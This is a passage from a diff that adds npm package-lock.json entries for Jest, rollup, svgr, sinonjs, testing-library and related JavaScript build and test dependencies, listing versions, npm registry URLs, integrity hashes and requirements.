+        "callsites": "^3.0.0",
+        "graceful-fs": "^4.2.9",
+        "source-map": "^0.6.0"
+      }
+    },
+    "@jest/test-result": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-27.5.1.tgz",
+      "integrity": "sha512-EW35l2RYFUcUQxFJz5Cv5MTOxlJIQs4I7gxzi2zVU7PJhOwfYq1MdC5nhSmYjX1gmMmLPvB3sIaC+BkcHRBfag==",
+      "requires": {
+        "@jest/console": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "collect-v8-coverage": "^1.0.0"
+      },
+      "dependencies": {
+        "@jest/types": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+          "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+          "requires": {
+            "@types/istanbul-lib-coverage": "^2.0.0",
+            "@types/istanbul-reports": "^3.0.0",
+            "@types/node": "*",
+            "@types/yargs": "^16.0.0",
+            "chalk": "^4.0.0"
+          }
+        },
+        "@types/istanbul-reports": {
+          "version": "3.0.1",
+          "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+          "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+          "requires": {
+            "@types/istanbul-lib-report": "*"
+          }
+        },
+        "@types/yargs": {
+          "version": "16.0.4",
+          "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+          "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+          "requires": {
+            "@types/yargs-parser": "*"
+          }
+        },
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "4.1.2",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "@jest/test-sequencer": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/test-sequencer/-/test-sequencer-27.5.1.tgz",
+      "integrity": "sha512-LCheJF7WB2+9JuCS7VB/EmGIdQuhtqjRNI9A43idHv3E4KltCTsPsLxvdaubFHSYwY/fNjMWjl6vNRhDiN7vpQ==",
+      "requires": {
+        "@jest/test-result": "^27.5.1",
+        "graceful-fs": "^4.2.9",
+        "jest-haste-map": "^27.5.1",
+        "jest-runtime": "^27.5.1"
+      }
+    },
+    "@jest/transform": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/transform/-/transform-27.5.1.tgz",
+      "integrity": "sha512-ipON6WtYgl/1329g5AIJVbUuEh0wZVbdpGwC99Jw4LwuoBNS95MVphU6zOeD9pDkon+LLbFL7lOQRapbB8SCHw==",
+      "requires": {
+        "@babel/core": "^7.1.0",
+        "@jest/types": "^27.5.1",
+        "babel-plugin-istanbul": "^6.1.1",
+        "chalk": "^4.0.0",
+        "convert-source-map": "^1.4.0",
+        "fast-json-stable-stringify": "^2.0.0",
+        "graceful-fs": "^4.2.9",
+        "jest-haste-map": "^27.5.1",
+        "jest-regex-util": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "micromatch": "^4.0.4",
+        "pirates": "^4.0.4",
+        "slash": "^3.0.0",
+        "source-map": "^0.6.1",
+        "write-file-atomic": "^3.0.0"
+      },
+      "dependencies": {
+        "@jest/types": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+          "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+          "requires": {
+            "@types/istanbul-lib-coverage": "^2.0.0",
+            "@types/istanbul-reports": "^3.0.0",
+            "@types/node": "*",
+            "@types/yargs": "^16.0.0",
+            "chalk": "^4.0.0"
+          }
+        },
+        "@types/istanbul-reports": {
+          "version": "3.0.1",
+          "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+          "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+          "requires": {
+            "@types/istanbul-lib-report": "*"
+          }
+        },
+        "@types/yargs": {
+          "version": "16.0.4",
+          "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+          "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+          "requires": {
+            "@types/yargs-parser": "*"
+          }
+        },
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "4.1.2",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "@jest/types": {
+      "version": "24.9.0",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-24.9.0.tgz",
+      "integrity": "sha512-XKK7ze1apu5JWQ5eZjHITP66AX+QsLlbaJRBGYr8pNzwcAE2JVkwnf0yqjHTsDRcjR0mujy/NmZMXw5kl+kGBw==",
+      "requires": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^1.1.1",
+        "@types/yargs": "^13.0.0"
+      }
+    },
+    "@jridgewell/gen-mapping": {
+      "version": "0.1.1",
+      "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.1.1.tgz",
+      "integrity": "sha512-sQXCasFk+U8lWYEe66WxRDOE9PjVz4vSM51fTu3Hw+ClTpUSQb718772vH3pyS5pShp6lvQM7SxgIDXXXmOX7w==",
+      "requires": {
+        "@jridgewell/set-array": "^1.0.0",
+        "@jridgewell/sourcemap-codec": "^1.4.10"
+      }
+    },
+    "@jridgewell/resolve-uri": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.0.tgz",
+      "integrity": "sha512-F2msla3tad+Mfht5cJq7LSXcdudKTWCVYUgw6pLFOOHSTtZlj6SWNYAp+AhuqLmWdBO2X5hPrLcu8cVP8fy28w=="
+    },
+    "@jridgewell/set-array": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.2.1.tgz",
+      "integrity": "sha512-R8gLRTZeyp03ymzP/6Lil/28tGeGEzhx1q2k703KGWRAI1VdvPIXdG70VJc2pAMw3NA6JKL5hhFu1sJX0Mnn/A=="
+    },
+    "@jridgewell/source-map": {
+      "version": "0.3.6",
+      "resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.6.tgz",
+      "integrity": "sha512-1ZJTZebgqllO79ue2bm3rIGud/bOe0pP5BjSRCRxxYkEZS8STV7zN84UBbiYu7jy+eCKSnVIUgoWWE/tt+shMQ==",
+      "requires": {
+        "@jridgewell/gen-mapping": "^0.3.5",
+        "@jridgewell/trace-mapping": "^0.3.25"
+      },
+      "dependencies": {
+        "@jridgewell/gen-mapping": {
+          "version": "0.3.5",
+          "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.5.tgz",
+          "integrity": "sha512-IzL8ZoEDIBRWEzlCcRhOaCupYyN5gdIK+Q6fbFdPDg6HqX6jpkItn7DFIpW9LQzXG6Df9sA7+OKnq0qlz/GaQg==",
+          "requires": {
+            "@jridgewell/set-array": "^1.2.1",
+            "@jridgewell/sourcemap-codec": "^1.4.10",
+            "@jridgewell/trace-mapping": "^0.3.24"
+          }
+        }
+      }
+    },
+    "@jridgewell/sourcemap-codec": {
+      "version": "1.4.14",
+      "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.14.tgz",
+      "integrity": "sha512-XPSJHWmi394fuUuzDnGz1wiKqWfo1yXecHQMRf2l6hztTO+nPru658AyDngaBe7isIxEkRsPR3FZh+s7iVa4Uw=="
+    },
+    "@jridgewell/trace-mapping": {
+      "version": "0.3.25",
+      "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.25.tgz",
+      "integrity": "sha512-vNk6aEwybGtawWmy/PzwnGDOjCkLWSD2wqvjGGAgOAwCGWySYXfYoxt00IJkTF+8Lb57DwOb3Aa0o9CApepiYQ==",
+      "requires": {
+        "@jridgewell/resolve-uri": "^3.1.0",
+        "@jridgewell/sourcemap-codec": "^1.4.14"
+      }
+    },
+    "@leichtgewicht/ip-codec": {
+      "version": "2.0.4",
+      "resolved": "https://registry.npmjs.org/@leichtgewicht/ip-codec/-/ip-codec-2.0.4.tgz",
+      "integrity": "sha512-Hcv+nVC0kZnQ3tD9GVu5xSMR4VVYOteQIr/hwFPVEvPdlXqgGEuRjiheChHgdM+JyqdgNcmzZOX/tnl0JOiI7A=="
+    },
+    "@nicolo-ribaudo/eslint-scope-5-internals": {
+      "version": "5.1.1-v1",
+      "resolved": "https://registry.npmjs.org/@nicolo-ribaudo/eslint-scope-5-internals/-/eslint-scope-5-internals-5.1.1-v1.tgz",
+      "integrity": "sha512-54/JRvkLIzzDWshCWfuhadfrfZVPiElY8Fcgmg1HroEly/EDSszzhBAsarCux+D/kOslTRquNzuyGSmUSTTHGg==",
+      "requires": {
+        "eslint-scope": "5.1.1"
+      },
+      "dependencies": {
+        "eslint-scope": {
+          "version": "5.1.1",
+          "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz",
+          "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==",
+          "requires": {
+            "esrecurse": "^4.3.0",
+            "estraverse": "^4.1.1"
+          }
+        },
+        "estraverse": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz",
+          "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw=="
+        }
+      }
+    },
+    "@nodelib/fs.scandir": {
+      "version": "2.1.5",
+      "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz",
+      "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==",
+      "requires": {
+        "@nodelib/fs.stat": "2.0.5",
+        "run-parallel": "^1.1.9"
+      }
+    },
+    "@nodelib/fs.stat": {
+      "version": "2.0.5",
+      "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz",
+      "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A=="
+    },
+    "@nodelib/fs.walk": {
+      "version": "1.2.8",
+      "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz",
+      "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==",
+      "requires": {
+        "@nodelib/fs.scandir": "2.1.5",
+        "fastq": "^1.6.0"
+      }
+    },
+    "@pmmmwh/react-refresh-webpack-plugin": {
+      "version": "0.5.7",
+      "resolved": "https://registry.npmjs.org/@pmmmwh/react-refresh-webpack-plugin/-/react-refresh-webpack-plugin-0.5.7.tgz",
+      "integrity": "sha512-bcKCAzF0DV2IIROp9ZHkRJa6O4jy7NlnHdWL3GmcUxYWNjLXkK5kfELELwEfSP5hXPfVL/qOGMAROuMQb9GG8Q==",
+      "requires": {
+        "ansi-html-community": "^0.0.8",
+        "common-path-prefix": "^3.0.0",
+        "core-js-pure": "^3.8.1",
+        "error-stack-parser": "^2.0.6",
+        "find-up": "^5.0.0",
+        "html-entities": "^2.1.0",
+        "loader-utils": "^2.0.0",
+        "schema-utils": "^3.0.0",
+        "source-map": "^0.7.3"
+      },
+      "dependencies": {
+        "source-map": {
+          "version": "0.7.4",
+          "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.4.tgz",
+          "integrity": "sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA=="
+        }
+      }
+    },
+    "@rollup/plugin-babel": {
+      "version": "5.3.1",
+      "resolved": "https://registry.npmjs.org/@rollup/plugin-babel/-/plugin-babel-5.3.1.tgz",
+      "integrity": "sha512-WFfdLWU/xVWKeRQnKmIAQULUI7Il0gZnBIH/ZFO069wYIfPu+8zrfp/KMW0atmELoRDq8FbiP3VCss9MhCut7Q==",
+      "requires": {
+        "@babel/helper-module-imports": "^7.10.4",
+        "@rollup/pluginutils": "^3.1.0"
+      }
+    },
+    "@rollup/plugin-node-resolve": {
+      "version": "11.2.1",
+      "resolved": "https://registry.npmjs.org/@rollup/plugin-node-resolve/-/plugin-node-resolve-11.2.1.tgz",
+      "integrity": "sha512-yc2n43jcqVyGE2sqV5/YCmocy9ArjVAP/BeXyTtADTBBX6V0e5UMqwO8CdQ0kzjb6zu5P1qMzsScCMRvE9OlVg==",
+      "requires": {
+        "@rollup/pluginutils": "^3.1.0",
+        "@types/resolve": "1.17.1",
+        "builtin-modules": "^3.1.0",
+        "deepmerge": "^4.2.2",
+        "is-module": "^1.0.0",
+        "resolve": "^1.19.0"
+      }
+    },
+    "@rollup/plugin-replace": {
+      "version": "2.4.2",
+      "resolved": "https://registry.npmjs.org/@rollup/plugin-replace/-/plugin-replace-2.4.2.tgz",
+      "integrity": "sha512-IGcu+cydlUMZ5En85jxHH4qj2hta/11BHq95iHEyb2sbgiN0eCdzvUcHw5gt9pBL5lTi4JDYJ1acCoMGpTvEZg==",
+      "requires": {
+        "@rollup/pluginutils": "^3.1.0",
+        "magic-string": "^0.25.7"
+      }
+    },
+    "@rollup/pluginutils": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/@rollup/pluginutils/-/pluginutils-3.1.0.tgz",
+      "integrity": "sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg==",
+      "requires": {
+        "@types/estree": "0.0.39",
+        "estree-walker": "^1.0.1",
+        "picomatch": "^2.2.2"
+      },
+      "dependencies": {
+        "@types/estree": {
+          "version": "0.0.39",
+          "resolved": "https://registry.npmjs.org/@types/estree/-/estree-0.0.39.tgz",
+          "integrity": "sha512-EYNwp3bU+98cpU4lAWYYL7Zz+2gryWH1qbdDTidVd6hkiR6weksdbMadyXKXNPEkQFhXM+hVO9ZygomHXp+AIw=="
+        }
+      }
+    },
+    "@rushstack/eslint-patch": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/@rushstack/eslint-patch/-/eslint-patch-1.2.0.tgz",
+      "integrity": "sha512-sXo/qW2/pAcmT43VoRKOJbDOfV3cYpq3szSVfIThQXNt+E4DfKj361vaAt3c88U5tPUxzEswam7GW48PJqtKAg=="
+    },
+    "@sheerun/mutationobserver-shim": {
+      "version": "0.3.3",
+      "resolved": "https://registry.npmjs.org/@sheerun/mutationobserver-shim/-/mutationobserver-shim-0.3.3.tgz",
+      "integrity": "sha512-DetpxZw1fzPD5xUBrIAoplLChO2VB8DlL5Gg+I1IR9b2wPqYIca2WSUxL5g1vLeR4MsQq1NeWriXAVffV+U1Fw=="
+    },
+    "@sinclair/typebox": {
+      "version": "0.24.44",
+      "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.24.44.tgz",
+      "integrity": "sha512-ka0W0KN5i6LfrSocduwliMMpqVgohtPFidKdMEOUjoOFCHcOOYkKsPRxfs5f15oPNHTm6ERAm0GV/+/LTKeiWg=="
+    },
+    "@sinonjs/commons": {
+      "version": "1.8.3",
+      "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-1.8.3.tgz",
+      "integrity": "sha512-xkNcLAn/wZaX14RPlwizcKicDk9G3F8m2nU3L7Ukm5zBgTwiT0wsoFAHx9Jq56fJA1z/7uKGtCRu16sOUCLIHQ==",
+      "requires": {
+        "type-detect": "4.0.8"
+      }
+    },
+    "@sinonjs/fake-timers": {
+      "version": "8.1.0",
+      "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-8.1.0.tgz",
+      "integrity": "sha512-OAPJUAtgeINhh/TAlUID4QTs53Njm7xzddaVlEs/SXwgtiD1tW22zAB/W1wdqfrpmikgaWQ9Fw6Ws+hsiRm5Vg==",
+      "requires": {
+        "@sinonjs/commons": "^1.7.0"
+      }
+    },
+    "@surma/rollup-plugin-off-main-thread": {
+      "version": "2.2.3",
+      "resolved": "https://registry.npmjs.org/@surma/rollup-plugin-off-main-thread/-/rollup-plugin-off-main-thread-2.2.3.tgz",
+      "integrity": "sha512-lR8q/9W7hZpMWweNiAKU7NQerBnzQQLvi8qnTDU/fxItPhtZVMbPV3lbCwjhIlNBe9Bbr5V+KHshvWmVSG9cxQ==",
+      "requires": {
+        "ejs": "^3.1.6",
+        "json5": "^2.2.0",
+        "magic-string": "^0.25.0",
+        "string.prototype.matchall": "^4.0.6"
+      }
+    },
+    "@svgr/babel-plugin-add-jsx-attribute": {
+      "version": "5.4.0",
+      "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-add-jsx-attribute/-/babel-plugin-add-jsx-attribute-5.4.0.tgz",
+      "integrity": "sha512-ZFf2gs/8/6B8PnSofI0inYXr2SDNTDScPXhN7k5EqD4aZ3gi6u+rbmZHVB8IM3wDyx8ntKACZbtXSm7oZGRqVg=="
+    },
+    "@svgr/babel-plugin-remove-jsx-attribute": {
+      "version": "5.4.0",
+      "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-remove-jsx-attribute/-/babel-plugin-remove-jsx-attribute-5.4.0.tgz",
+      "integrity": "sha512-yaS4o2PgUtwLFGTKbsiAy6D0o3ugcUhWK0Z45umJ66EPWunAz9fuFw2gJuje6wqQvQWOTJvIahUwndOXb7QCPg=="
+    },
+    "@svgr/babel-plugin-remove-jsx-empty-expression": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-remove-jsx-empty-expression/-/babel-plugin-remove-jsx-empty-expression-5.0.1.tgz",
+      "integrity": "sha512-LA72+88A11ND/yFIMzyuLRSMJ+tRKeYKeQ+mR3DcAZ5I4h5CPWN9AHyUzJbWSYp/u2u0xhmgOe0+E41+GjEueA=="
+    },
+    "@svgr/babel-plugin-replace-jsx-attribute-value": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-replace-jsx-attribute-value/-/babel-plugin-replace-jsx-attribute-value-5.0.1.tgz",
+      "integrity": "sha512-PoiE6ZD2Eiy5mK+fjHqwGOS+IXX0wq/YDtNyIgOrc6ejFnxN4b13pRpiIPbtPwHEc+NT2KCjteAcq33/F1Y9KQ=="
+    },
+    "@svgr/babel-plugin-svg-dynamic-title": {
+      "version": "5.4.0",
+      "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-svg-dynamic-title/-/babel-plugin-svg-dynamic-title-5.4.0.tgz",
+      "integrity": "sha512-zSOZH8PdZOpuG1ZVx/cLVePB2ibo3WPpqo7gFIjLV9a0QsuQAzJiwwqmuEdTaW2pegyBE17Uu15mOgOcgabQZg=="
+    },
+    "@svgr/babel-plugin-svg-em-dimensions": {
+      "version": "5.4.0",
+      "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-svg-em-dimensions/-/babel-plugin-svg-em-dimensions-5.4.0.tgz",
+      "integrity": "sha512-cPzDbDA5oT/sPXDCUYoVXEmm3VIoAWAPT6mSPTJNbQaBNUuEKVKyGH93oDY4e42PYHRW67N5alJx/eEol20abw=="
+    },
+    "@svgr/babel-plugin-transform-react-native-svg": {
+      "version": "5.4.0",
+      "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-transform-react-native-svg/-/babel-plugin-transform-react-native-svg-5.4.0.tgz",
+      "integrity": "sha512-3eYP/SaopZ41GHwXma7Rmxcv9uRslRDTY1estspeB1w1ueZWd/tPlMfEOoccYpEMZU3jD4OU7YitnXcF5hLW2Q=="
+    },
+    "@svgr/babel-plugin-transform-svg-component": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-transform-svg-component/-/babel-plugin-transform-svg-component-5.5.0.tgz",
+      "integrity": "sha512-q4jSH1UUvbrsOtlo/tKcgSeiCHRSBdXoIoqX1pgcKK/aU3JD27wmMKwGtpB8qRYUYoyXvfGxUVKchLuR5pB3rQ=="
+    },
+    "@svgr/babel-preset": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/@svgr/babel-preset/-/babel-preset-5.5.0.tgz",
+      "integrity": "sha512-4FiXBjvQ+z2j7yASeGPEi8VD/5rrGQk4Xrq3EdJmoZgz/tpqChpo5hgXDvmEauwtvOc52q8ghhZK4Oy7qph4ig==",
+      "requires": {
+        "@svgr/babel-plugin-add-jsx-attribute": "^5.4.0",
+        "@svgr/babel-plugin-remove-jsx-attribute": "^5.4.0",
+        "@svgr/babel-plugin-remove-jsx-empty-expression": "^5.0.1",
+        "@svgr/babel-plugin-replace-jsx-attribute-value": "^5.0.1",
+        "@svgr/babel-plugin-svg-dynamic-title": "^5.4.0",
+        "@svgr/babel-plugin-svg-em-dimensions": "^5.4.0",
+        "@svgr/babel-plugin-transform-react-native-svg": "^5.4.0",
+        "@svgr/babel-plugin-transform-svg-component": "^5.5.0"
+      }
+    },
+    "@svgr/core": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/@svgr/core/-/core-5.5.0.tgz",
+      "integrity": "sha512-q52VOcsJPvV3jO1wkPtzTuKlvX7Y3xIcWRpCMtBF3MrteZJtBfQw/+u0B1BHy5ColpQc1/YVTrPEtSYIMNZlrQ==",
+      "requires": {
+        "@svgr/plugin-jsx": "^5.5.0",
+        "camelcase": "^6.2.0",
+        "cosmiconfig": "^7.0.0"
+      }
+    },
+    "@svgr/hast-util-to-babel-ast": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/@svgr/hast-util-to-babel-ast/-/hast-util-to-babel-ast-5.5.0.tgz",
+      "integrity": "sha512-cAaR/CAiZRB8GP32N+1jocovUtvlj0+e65TB50/6Lcime+EA49m/8l+P2ko+XPJ4dw3xaPS3jOL4F2X4KWxoeQ==",
+      "requires": {
+        "@babel/types": "^7.12.6"
+      }
+    },
+    "@svgr/plugin-jsx": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/@svgr/plugin-jsx/-/plugin-jsx-5.5.0.tgz",
+      "integrity": "sha512-V/wVh33j12hGh05IDg8GpIUXbjAPnTdPTKuP4VNLggnwaHMPNQNae2pRnyTAILWCQdz5GyMqtO488g7CKM8CBA==",
+      "requires": {
+        "@babel/core": "^7.12.3",
+        "@svgr/babel-preset": "^5.5.0",
+        "@svgr/hast-util-to-babel-ast": "^5.5.0",
+        "svg-parser": "^2.0.2"
+      }
+    },
+    "@svgr/plugin-svgo": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/@svgr/plugin-svgo/-/plugin-svgo-5.5.0.tgz",
+      "integrity": "sha512-r5swKk46GuQl4RrVejVwpeeJaydoxkdwkM1mBKOgJLBUJPGaLci6ylg/IjhrRsREKDkr4kbMWdgOtbXEh0fyLQ==",
+      "requires": {
+        "cosmiconfig": "^7.0.0",
+        "deepmerge": "^4.2.2",
+        "svgo": "^1.2.2"
+      }
+    },
+    "@svgr/webpack": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/@svgr/webpack/-/webpack-5.5.0.tgz",
+      "integrity": "sha512-DOBOK255wfQxguUta2INKkzPj6AIS6iafZYiYmHn6W3pHlycSRRlvWKCfLDG10fXfLWqE3DJHgRUOyJYmARa7g==",
+      "requires": {
+        "@babel/core": "^7.12.3",
+        "@babel/plugin-transform-react-constant-elements": "^7.12.1",
+        "@babel/preset-env": "^7.12.1",
+        "@babel/preset-react": "^7.12.5",
+        "@svgr/core": "^5.5.0",
+        "@svgr/plugin-jsx": "^5.5.0",
+        "@svgr/plugin-svgo": "^5.5.0",
+        "loader-utils": "^2.0.0"
+      }
+    },
+    "@testing-library/dom": {
+      "version": "6.16.0",
+      "resolved": "https://registry.npmjs.org/@testing-library/dom/-/dom-6.16.0.tgz",
+      "integrity": "sha512-lBD88ssxqEfz0wFL6MeUyyWZfV/2cjEZZV3YRpb2IoJRej/4f1jB0TzqIOznTpfR1r34CNesrubxwIlAQ8zgPA==",
+      "requires": {
+        "@babel/runtime": "^7.8.4",
+        "@sheerun/mutationobserver-shim": "^0.3.2",
+        "@types/testing-library__dom": "^6.12.1",
+        "aria-query": "^4.0.2",
+        "dom-accessibility-api": "^0.3.0",
+        "pretty-format": "^25.1.0",
+        "wait-for-expect": "^3.0.2"
